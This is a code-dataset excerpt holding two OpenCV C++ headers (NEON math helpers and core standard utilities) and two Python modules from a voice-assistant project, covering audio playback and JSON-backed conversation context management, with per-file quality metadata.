"qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/neon_utils.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2015, Itseez Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_HAL_NEON_UTILS_HPP
#define OPENCV_HAL_NEON_UTILS_HPP
#include "opencv2/core/cvdef.h"
//! @addtogroup core_utils_neon
//! @{
#if CV_NEON
inline int32x2_t cv_vrnd_s32_f32(float32x2_t v)
{
static int32x2_t v_sign = vdup_n_s32(1 << 31),
v_05 = vreinterpret_s32_f32(vdup_n_f32(0.5f));
int32x2_t v_addition = vorr_s32(v_05, vand_s32(v_sign, vreinterpret_s32_f32(v)));
return vcvt_s32_f32(vadd_f32(v, vreinterpret_f32_s32(v_addition)));
}
inline int32x4_t cv_vrndq_s32_f32(float32x4_t v)
{
static int32x4_t v_sign = vdupq_n_s32(1 << 31),
v_05 = vreinterpretq_s32_f32(vdupq_n_f32(0.5f));
int32x4_t v_addition = vorrq_s32(v_05, vandq_s32(v_sign, vreinterpretq_s32_f32(v)));
return vcvtq_s32_f32(vaddq_f32(v, vreinterpretq_f32_s32(v_addition)));
}
inline uint32x2_t cv_vrnd_u32_f32(float32x2_t v)
{
static float32x2_t v_05 = vdup_n_f32(0.5f);
return vcvt_u32_f32(vadd_f32(v, v_05));
}
inline uint32x4_t cv_vrndq_u32_f32(float32x4_t v)
{
static float32x4_t v_05 = vdupq_n_f32(0.5f);
return vcvtq_u32_f32(vaddq_f32(v, v_05));
}
inline float32x4_t cv_vrecpq_f32(float32x4_t val)
{
float32x4_t reciprocal = vrecpeq_f32(val);
reciprocal = vmulq_f32(vrecpsq_f32(val, reciprocal), reciprocal);
reciprocal = vmulq_f32(vrecpsq_f32(val, reciprocal), reciprocal);
return reciprocal;
}
inline float32x2_t cv_vrecp_f32(float32x2_t val)
{
float32x2_t reciprocal = vrecpe_f32(val);
reciprocal = vmul_f32(vrecps_f32(val, reciprocal), reciprocal);
reciprocal = vmul_f32(vrecps_f32(val, reciprocal), reciprocal);
return reciprocal;
}
inline float32x4_t cv_vrsqrtq_f32(float32x4_t val)
{
float32x4_t e = vrsqrteq_f32(val);
e = vmulq_f32(vrsqrtsq_f32(vmulq_f32(e, e), val), e);
e = vmulq_f32(vrsqrtsq_f32(vmulq_f32(e, e), val), e);
return e;
}
inline float32x2_t cv_vrsqrt_f32(float32x2_t val)
{
float32x2_t e = vrsqrte_f32(val);
e = vmul_f32(vrsqrts_f32(vmul_f32(e, e), val), e);
e = vmul_f32(vrsqrts_f32(vmul_f32(e, e), val), e);
return e;
}
inline float32x4_t cv_vsqrtq_f32(float32x4_t val)
{
return cv_vrecpq_f32(cv_vrsqrtq_f32(val));
}
inline float32x2_t cv_vsqrt_f32(float32x2_t val)
{
return cv_vrecp_f32(cv_vrsqrt_f32(val));
}
#endif
//! @}
#endif // OPENCV_HAL_NEON_UTILS_HPP
| 4,397 | neon_utils | hpp | en | cpp | code | {"qsc_code_num_words": 658, "qsc_code_num_chars": 4397.0, "qsc_code_mean_word_length": 4.59726444, "qsc_code_frac_words_unique": 0.32978723, "qsc_code_frac_chars_top_2grams": 0.03636364, "qsc_code_frac_chars_top_3grams": 0.03173554, "qsc_code_frac_chars_top_4grams": 0.0092562, "qsc_code_frac_chars_dupe_5grams": 0.3461157, "qsc_code_frac_chars_dupe_6grams": 0.21818182, "qsc_code_frac_chars_dupe_7grams": 0.17719008, "qsc_code_frac_chars_dupe_8grams": 0.16264463, "qsc_code_frac_chars_dupe_9grams": 0.08793388, "qsc_code_frac_chars_dupe_10grams": 0.08793388, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.07555919, "qsc_code_frac_chars_whitespace": 0.16624972, "qsc_code_size_file_byte": 4397.0, "qsc_code_num_lines": 128.0, "qsc_code_num_chars_line_max": 91.0, "qsc_code_num_chars_line_mean": 34.3515625, "qsc_code_frac_chars_alphabet": 0.74959083, "qsc_code_frac_chars_comments": 0.48987946, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.21212121, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00891663, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.24242424, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.31818182, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/cvstd.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_CVSTD_HPP
#define OPENCV_CORE_CVSTD_HPP
#ifndef __cplusplus
# error cvstd.hpp header must be compiled as C++
#endif
#include "opencv2/core/cvdef.h"
#include <cstddef>
#include <cstring>
#include <cctype>
#include <string>
// import useful primitives from stl
# include <algorithm>
# include <utility>
# include <cstdlib> //for abs(int)
# include <cmath>
namespace cv
{
static inline uchar abs(uchar a) { return a; }
static inline ushort abs(ushort a) { return a; }
static inline unsigned abs(unsigned a) { return a; }
static inline uint64 abs(uint64 a) { return a; }
using std::min;
using std::max;
using std::abs;
using std::swap;
using std::sqrt;
using std::exp;
using std::pow;
using std::log;
}
#include "cvstd_wrapper.hpp"
namespace cv {
//! @addtogroup core_utils
//! @{
//////////////////////////// memory management functions ////////////////////////////
/** @brief Allocates an aligned memory buffer.
The function allocates the buffer of the specified size and returns it. When the buffer size is 16
bytes or more, the returned buffer is aligned to 16 bytes.
@param bufSize Allocated buffer size.
*/
CV_EXPORTS void* fastMalloc(size_t bufSize);
/** @brief Deallocates a memory buffer.
The function deallocates the buffer allocated with fastMalloc . If NULL pointer is passed, the
function does nothing. C version of the function clears the pointer *pptr* to avoid problems with
double memory deallocation.
@param ptr Pointer to the allocated buffer.
*/
CV_EXPORTS void fastFree(void* ptr);
/*!
The STL-compliant memory Allocator based on cv::fastMalloc() and cv::fastFree()
*/
template<typename _Tp> class Allocator
{
public:
typedef _Tp value_type;
typedef value_type* pointer;
typedef const value_type* const_pointer;
typedef value_type& reference;
typedef const value_type& const_reference;
typedef size_t size_type;
typedef ptrdiff_t difference_type;
template<typename U> class rebind { typedef Allocator<U> other; };
explicit Allocator() {}
~Allocator() {}
explicit Allocator(Allocator const&) {}
template<typename U>
explicit Allocator(Allocator<U> const&) {}
// address
pointer address(reference r) { return &r; }
const_pointer address(const_reference r) { return &r; }
pointer allocate(size_type count, const void* =0) { return reinterpret_cast<pointer>(fastMalloc(count * sizeof (_Tp))); }
void deallocate(pointer p, size_type) { fastFree(p); }
void construct(pointer p, const _Tp& v) { new(static_cast<void*>(p)) _Tp(v); }
void destroy(pointer p) { p->~_Tp(); }
size_type max_size() const { return cv::max(static_cast<_Tp>(-1)/sizeof(_Tp), 1); }
};
//! @} core_utils
//! @endcond
//! @addtogroup core_basic
//! @{
//////////////////////////////// string class ////////////////////////////////
class CV_EXPORTS FileNode; //for string constructor from FileNode
typedef std::string String;
#ifndef OPENCV_DISABLE_STRING_LOWER_UPPER_CONVERSIONS
//! @cond IGNORED
namespace details {
// std::tolower is int->int
static inline char char_tolower(char ch)
{
return (char)std::tolower((int)ch);
}
// std::toupper is int->int
static inline char char_toupper(char ch)
{
return (char)std::toupper((int)ch);
}
} // namespace details
//! @endcond
static inline std::string toLowerCase(const std::string& str)
{
std::string result(str);
std::transform(result.begin(), result.end(), result.begin(), details::char_tolower);
return result;
}
static inline std::string toUpperCase(const std::string& str)
{
std::string result(str);
std::transform(result.begin(), result.end(), result.begin(), details::char_toupper);
return result;
}
#endif // OPENCV_DISABLE_STRING_LOWER_UPPER_CONVERSIONS
//! @} core_basic
} // cv
#endif //OPENCV_CORE_CVSTD_HPP
| 6,092 | cvstd | hpp | en | cpp | code | {"qsc_code_num_words": 800, "qsc_code_num_chars": 6092.0, "qsc_code_mean_word_length": 5.2175, "qsc_code_frac_words_unique": 0.37, "qsc_code_frac_chars_top_2grams": 0.02299952, "qsc_code_frac_chars_top_3grams": 0.00766651, "qsc_code_frac_chars_top_4grams": 0.01293723, "qsc_code_frac_chars_dupe_5grams": 0.18495448, "qsc_code_frac_chars_dupe_6grams": 0.10781025, "qsc_code_frac_chars_dupe_7grams": 0.08864399, "qsc_code_frac_chars_dupe_8grams": 0.0752276, "qsc_code_frac_chars_dupe_9grams": 0.0752276, "qsc_code_frac_chars_dupe_10grams": 0.0752276, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00555666, "qsc_code_frac_chars_whitespace": 0.17284964, "qsc_code_size_file_byte": 6092.0, "qsc_code_num_lines": 190.0, "qsc_code_num_chars_line_max": 126.0, "qsc_code_num_chars_line_mean": 32.06315789, "qsc_code_frac_chars_alphabet": 0.8227823, "qsc_code_frac_chars_comments": 0.56336179, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.08235294, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01390977, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.25882353, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.4, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
00Julian00/Nova2 | app/audio_manager.py | """
Description: This script is responsible for audio playback.
"""
import threading
from pydub.playback import _play_with_simpleaudio
from .audio_data import AudioData
class AudioPlayer:
def __init__(self) -> None:
"""
The audio player. Playback can be interrupted.
"""
self._current_playback = None
self._stop_event = threading.Event()
def play_audio(self, audio_data: AudioData) -> None:
self._current_playback = 0 # Make sure is_playing() is true
self._player_thread = threading.Thread(target=self._player, daemon=True, args=(audio_data, ))
self._player_thread.start()
def _player(self, audio_data: AudioData) -> None:
"""
Plays the audio data
"""
self._current_playback = _play_with_simpleaudio(audio_data._audio_data)
# Wait for playback to finish or stop event
while self._current_playback.is_playing() and not self._stop_event.is_set():
threading.Event().wait(0.1)
# Stop playback if still playing
if self._current_playback.is_playing():
self._current_playback.stop()
self._current_playback = None
def stop(self) -> None:
"""
Interrupt the current playback.
"""
if self._player_thread:
self._stop_event.set()
if self._current_playback:
self._current_playback.stop() # type: ignore
self._player_thread.join()
self._player_thread = None
self._current_playback = None
def is_playing(self) -> bool:
return self._current_playback is not None | 1,712 | audio_manager | py | en | python | code | {"qsc_code_num_words": 195, "qsc_code_num_chars": 1712.0, "qsc_code_mean_word_length": 5.0974359, "qsc_code_frac_words_unique": 0.3025641, "qsc_code_frac_chars_top_2grams": 0.18108652, "qsc_code_frac_chars_top_3grams": 0.21026157, "qsc_code_frac_chars_top_4grams": 0.0694165, "qsc_code_frac_chars_dupe_5grams": 0.16096579, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00248963, "qsc_code_frac_chars_whitespace": 0.29614486, "qsc_code_size_file_byte": 1712.0, "qsc_code_num_lines": 54.0, "qsc_code_num_chars_line_max": 102.0, "qsc_code_num_chars_line_mean": 31.7037037, "qsc_code_frac_chars_alphabet": 0.82240664, "qsc_code_frac_chars_comments": 0.16179907, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.17857143, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.17857143, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.10714286, "qsc_codepython_frac_lines_simplefunc": 0.03571428571428571, "qsc_codepython_score_lines_no_logic": 0.35714286, "qsc_codepython_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 1, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
00Julian00/Nova2 | app/context_manager.py | """
Description: This script collects all data provided from the voice analysis and stores them in long and short term context memory.
"""
from threading import Thread
import time
from pathlib import Path
import json
import atexit
from uuid import uuid4
import torch
from Nova2.app.context_data import ContextDatapoint, ContextSource, ContextSource_Voice, Context, ContextGenerator, ContextGeneratorList
from Nova2.app.stt_data import Word
from Nova2.app.helpers import Singleton
def _is_context_initialized(func):
"""
Decorator to ensure that the context is initialized before executing the function.
"""
def wrapper(self, *args, **kwargs):
if not self._context_file:
raise Exception("A context file must be set before using this method. Use set_active_context_data() to set the context file.")
return func(self, *args, **kwargs)
return wrapper
class ContextManager(Singleton):
def __init__(self, saving_interval: int = 120) -> None:
"""
Prepares context data provided by a listener and stores them in the context file.
Arguments:
saving_interval (int): The interval in seconds at which the context data will be saved to a file. The context will also be saved when the program is closed.
"""
self.source_list = ContextGeneratorList()
self._previous_context_data = []
self.saving_interval = saving_interval
self._context_file = ""
self._context_folder = Path(__file__).parent.parent / "data" / "context"
self._context_folder.mkdir(parents=True, exist_ok=True)
self.context_data: list[dict] = []
self.ctx_limit = 25
self._saving_thread = Thread(target=self._periodic_save, daemon=True)
self._context_recording_thread = Thread(target=self._record_context, daemon=True)
@_is_context_initialized
def record_data(self, source: ContextGenerator) -> None:
"""
Begins to listen to the source and record the data.
"""
self.source_list.add(context_source=source)
@_is_context_initialized
def _record_context(self) -> None:
"""
Stores the context of all bound context sources.
"""
while self._context_file != "":
datapoint = self.source_list.get_next()
if not datapoint:
time.sleep(0.1)
continue
self.add_to_context(datapoint=datapoint)
time.sleep(0.1)
@_is_context_initialized
def add_to_context(self, datapoint: ContextDatapoint) -> None:
"""
Adds content to the context.json file.
Arguments:
datapoint (ContextDatapoint): The datapoint that will be added to the context.
"""
self.context_data.append(datapoint.to_dict())
if self.ctx_limit > 0:
self.context_data = self.context_data[-self.ctx_limit:]
@_is_context_initialized
def _overwrite_context(self, context: list[ContextDatapoint]) -> None:
"""
Overwrites the entire context. Use with caution.
Arguments:
context (List[ContextDatapoint]): The data the context will be overwritten with.
"""
self.context_data = []
for datapoint in context:
self.add_to_context(datapoint=datapoint)
@_is_context_initialized
def _periodic_save(self):
"""
Periodically saves the context data to the context.json file.
"""
while self._context_file != "":
time.sleep(self.saving_interval)
self.save_context_data()
@_is_context_initialized
def save_context_data(self) -> None:
"""
Saves the context data to the context.json file.
"""
if self.context_data != self._previous_context_data:
with open(str(self._context_file), 'w') as file:
json.dump(self.context_data, file, indent=4)
self._previous_context_data = self.context_data
def set_active_context_file(self, file_name: str = str(uuid4())) -> None:
"""
Changes the current context data to the one stored in the specified file.
Saves the currently active context data to the context file before changing.
Arguments:
file_name (str): The name of the file to load the context data from (without the .ctx extension). Defaults to a random UUID.
"""
if self._context_file != "":
self.save_context_data()
self._context_file = "" # Prompt running threads to stop
self._saving_thread.join()
self._context_recording_thread.join()
self._context_file = self._context_folder / f"{file_name}.ctx"
self.context_data = self._prepare_context_data()
# Save the context data to the disk when the program is terminated
# atexit.register(self.save_context_data)
def get_active_context_file(self) -> str:
"""
Returns the currently active context file.
Returns:
str: The path to the currently active context file.
"""
return Path(self._context_file).name if self._context_file else ""
def get_all_context_files(self) -> list[str]:
"""
Returns all context files in the context folder.
Returns:
list[str]: A list of all context files in the context folder.
"""
return [file.name for file in self._context_folder.glob("*.ctx")]
def rename_context_file(self, old_name: str, new_name: str) -> None:
"""
Renames the currently active context file.
Arguments:
old_name (str): The current name of the context file (without the .ctx extension).
new_name (str): The new name for the context file (without the .ctx extension).
"""
old_path = self._context_folder / f"{old_name}.ctx"
new_path = self._context_folder / f"{new_name}.ctx"
if old_path.exists():
old_path.rename(new_path)
else:
raise FileNotFoundError(f"Context file {old_name}.ctx does not exist.")
def is_context_initialized(self) -> bool:
"""
Checks if a context file is set and initialized.
It is only possible to modify the context if it is initialized.
Returns:
bool: True if the context is initialized, False otherwise.
"""
return self._context_file != ""
@_is_context_initialized
def get_context_data(self) -> Context:
"""
Reconstructs a Context object from the stored context.
Returns:
Context: The context data stored in memory.
"""
sources = ContextSource.get_all_sources()
datapoints = []
for datapoint in self.context_data:
source_instance = None
# Find the correct source
for source in sources:
if source.__name__ == datapoint["source"]["type"] and source.__name__ != "ContextSourceBase":
if "metadata" in datapoint["source"]:
metadata = datapoint["source"]["metadata"]
source_instance = source(**metadata)
else:
source_instance = source()
break
if not source_instance:
dp = datapoint["source"]["type"]
raise Exception(f"Got unknown context source {dp}")
datapoint_instance = ContextDatapoint(
source=source_instance,
content=datapoint["content"]
)
datapoint_instance.timestamp = datapoint["timestamp"]
datapoints.append(datapoint_instance)
return Context(datapoints)
@_is_context_initialized
def rename_voice(self, old_name: str, new_name: str) -> None:
"""
Renames a voice in the context.
Arguments:
old_name (str): The current name of the voice.
new_name (str): What the voice should be renamed to.
"""
context = []
for datapoint in self.get_context_data().data_points:
if type(datapoint.source) == ContextSource_Voice:
if datapoint.source.speaker == old_name:
dp = ContextDatapoint(
source=ContextSource_Voice(
speaker=new_name,
),
content=datapoint.content
)
context.append(dp)
else:
context.append(datapoint)
self._overwrite_context(context=context)
def _prepare_context_data(self) -> list[dict]:
"""
Creates a context.json file if it does not exist. Returns the contents of the context.json file.
Returns:
list[dict]: The contents of the context.json file.
"""
with open(str(self._context_file), 'r') as file:
context_data = json.load(file)
self._saving_thread.start()
self._context_recording_thread.start()
return context_data
def _word_array_to_string(self, word_array: list[Word]) -> str:
text = ""
for word in word_array:
text += word.text
return text
def _take_average_embedding(self, embeddings: list[torch.Tensor]) -> torch.Tensor:
return torch.mean(torch.stack(embeddings), dim=0) | 9,556 | context_manager | py | en | python | code | {"qsc_code_num_words": 1109, "qsc_code_num_chars": 9556.0, "qsc_code_mean_word_length": 5.08656447, "qsc_code_frac_words_unique": 0.19927863, "qsc_code_frac_chars_top_2grams": 0.0663003, "qsc_code_frac_chars_top_3grams": 0.03190924, "qsc_code_frac_chars_top_4grams": 0.03261833, "qsc_code_frac_chars_dupe_5grams": 0.17337352, "qsc_code_frac_chars_dupe_6grams": 0.10725049, "qsc_code_frac_chars_dupe_7grams": 0.07463216, "qsc_code_frac_chars_dupe_8grams": 0.03970927, "qsc_code_frac_chars_dupe_9grams": 0.03970927, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00255217, "qsc_code_frac_chars_whitespace": 0.30295103, "qsc_code_size_file_byte": 9556.0, "qsc_code_num_lines": 271.0, "qsc_code_num_chars_line_max": 169.0, "qsc_code_num_chars_line_mean": 35.26199262, "qsc_code_frac_chars_alphabet": 0.84431767, "qsc_code_frac_chars_comments": 0.26015069, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.15555556, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.04987647, "qsc_code_frac_chars_long_word_length": 0.00386041, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.14074074, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.07407407, "qsc_codepython_frac_lines_simplefunc": 0.007407407407407408, "qsc_codepython_score_lines_no_logic": 0.28888889, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, 